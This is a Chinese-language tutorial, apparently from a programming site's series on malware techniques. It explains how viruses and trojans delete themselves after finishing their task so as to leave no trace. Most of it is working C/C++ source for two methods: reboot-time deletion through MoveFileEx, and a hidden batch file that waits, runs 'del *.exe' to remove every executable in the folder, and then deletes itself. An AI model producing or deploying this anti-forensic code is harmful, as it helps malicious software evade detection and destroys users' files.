C/C++惡意代碼盤點之文件自動刪除
前言
惡意代碼的分類包括計算機病毒、蠕蟲、木馬、后門、Rootkit、流氓軟件、間諜軟件、廣告軟件、僵尸(bot) 、Exploit等等,有些技術(shù)經(jīng)常用到,有的也是必然用到。
上次咱們分享了一部分,那么今天我們就分享一下文件自動刪除。
自刪除功能對病毒木馬來說同樣至關(guān)重要,它通常在完成目標(biāo)任務(wù)之后刪除自身,不留下任何蛛絲馬跡,自刪除的方法有很多種,常見的有利用MoveFileEx重啟刪除和利用批處理刪除兩種方式。
1、MoveFileEx重啟刪除
MOVEFILE_DELAY_UNTIL_REBOOT這個標(biāo)志只能由擁有管理員權(quán)限的程序或者擁有本地系統(tǒng)權(quán)限的程序使用,而且這個標(biāo)志不能MOVEFILE_COPY_ALLOWED一起使用,并且,刪除文件的路徑開頭需要加上“\?\"前綴。
源代碼實現(xiàn)
#include "stdafx.h" #include <Windows.h> BOOL RebootDelete(char *pszFileName) { // 重啟刪除文件 char szTemp[MAX_PATH] = "\\\\?\\"; ::lstrcat(szTemp, pszFileName); BOOL bRet = ::MoveFileEx(szTemp, NULL, MOVEFILE_DELAY_UNTIL_REBOOT); return bRet; } int _tmain(int argc, _TCHAR* argv[]) { if (FALSE == RebootDelete("C:\\Users\\Test\\Desktop\\520.exe")) { printf("Set Reboot Delete Error.\n"); } else { printf("Set Reboot Delete OK.\n"); } system("pause"); return 0; }
2、利用批處理命令刪除
del %0
批處理命令會將自身批處理文件刪除而且不放進回收站。
具體流程
1 構(gòu)造自刪除批處理文件,該批處理文件的功能就是先利用choice或ping命令延遲一定的時間,之后才開始執(zhí)行刪除文件操作,最后執(zhí)行自刪除命令。
2 在程序中創(chuàng)建一個新進程并調(diào)用批處理文件,程序在進程創(chuàng)建成功后,立刻退出整個程序。
源代碼實現(xiàn)
#include "stdafx.h" #include <Windows.h> BOOL CreateChoiceBat(char *pszBatFileName) { int iTime = 5; char szBat[MAX_PATH] = { 0 }; // 構(gòu)造批處理內(nèi)容 /* @echo off choice /t 5 /d y /n >nul del *.exe del %0 */ ::wsprintf(szBat, "@echo off\nchoice /t %d /d y /n >nul\ndel *.exe\ndel %%0\n", iTime); // 生成批處理文件 FILE *fp = NULL; fopen_s(&fp, pszBatFileName, "w+"); if (NULL == fp) { return FALSE; } fwrite(szBat, (1 + ::lstrlen(szBat)), 1, fp); fclose(fp); return TRUE; } BOOL CreatePingBat(char *pszBatFileName) { int iTime = 5; char szBat[MAX_PATH] = {0}; // 構(gòu)造批處理內(nèi)容 /* @echo off ping 127.0.0.1 -n 5 del *.exe del %0 */ ::wsprintf(szBat, "@echo off\nping 127.0.0.1 -n %d\ndel *.exe\ndel %%0\n", iTime); // 生成批處理文件 FILE *fp = NULL; fopen_s(&fp, pszBatFileName, "w+"); if (NULL == fp) { return FALSE; } fwrite(szBat, (1 + ::lstrlen(szBat)), 1, fp); fclose(fp); return TRUE; } BOOL DelSelf(int iType) { BOOL bRet = FALSE; char szCurrentDirectory[MAX_PATH] = {0}; char szBatFileName[MAX_PATH] = {0}; char szCmd[MAX_PATH] = {0}; // 獲取當(dāng)前程序所在目錄 ::GetModuleFileName(NULL, szCurrentDirectory, MAX_PATH); char *p = strrchr(szCurrentDirectory, '\\'); p[0] = '\0'; // 構(gòu)造批處理文件路徑 ::wsprintf(szBatFileName, "%s\\temp.bat", szCurrentDirectory); // 構(gòu)造調(diào)用執(zhí)行批處理的 CMD 命令行 ::wsprintf(szCmd, "cmd /c call \"%s\"", szBatFileName); // 創(chuàng)建自刪除的批處理文件 if (0 == iType) { // choice 方式 bRet = CreateChoiceBat(szBatFileName); } else if (1 == iType) { // ping 方式 bRet = CreatePingBat(szBatFileName); } // 創(chuàng)建新的進程, 以隱藏控制臺的方式執(zhí)行批處理 if (bRet) { STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi; si.cb = sizeof(si); //指定wShowWindow成員有效 si.dwFlags = STARTF_USESHOWWINDOW; //此成員設(shè)為TRUE的話則顯示新建進程的主窗口 si.wShowWindow = FALSE; BOOL bRet = CreateProcess( //不在此指定可執(zhí)行文件的文件名 NULL, //命令行參數(shù) szCmd, //默認(rèn)進程安全性 NULL, //默認(rèn)進程安全性 NULL, //指定當(dāng)前進程內(nèi)句柄不可以被子進程繼承 FALSE, //為新進程創(chuàng)建一個新的控制臺窗口 CREATE_NEW_CONSOLE, //使用本進程的環(huán)境變量 NULL, //使用本進程的驅(qū)動器和目錄 NULL, &si, &pi); if (bRet) { //不使用的句柄最好關(guān)掉 CloseHandle(pi.hThread); CloseHandle(pi.hProcess); // 結(jié)束進程 exit(0); ::ExitProcess(NULL); } } return bRet; } int _tmain(int argc, _TCHAR* argv[]) { // 程序自刪除 BOOL bRet = DelSelf( 0 ); if (FALSE == bRet) { printf("Selft Delete Error!\n"); } else { printf("Selft Delete OK!\n"); } system("pause"); return 0;
到此這篇關(guān)于C/C++惡意代碼盤點之文件自動刪除的文章就介紹到這了,更多相關(guān)C/C++文件自動刪除內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
C++實現(xiàn)LeetCode(133.克隆無向圖)
這篇文章主要介紹了C++實現(xiàn)LeetCode(133.克隆無向圖),本篇文章通過簡要的案例,講解了該項技術(shù)的了解與使用,以下就是詳細內(nèi)容,需要的朋友可以參考下2021-07-07C語言編寫基于TCP和UDP協(xié)議的Socket通信程序示例
這篇文章主要介紹了C語言編寫基于TCP和UDP協(xié)議的Socket通信程序示例,其中TCP的客戶端與服務(wù)器端采用多線程實現(xiàn),需要的朋友可以參考下2016-03-03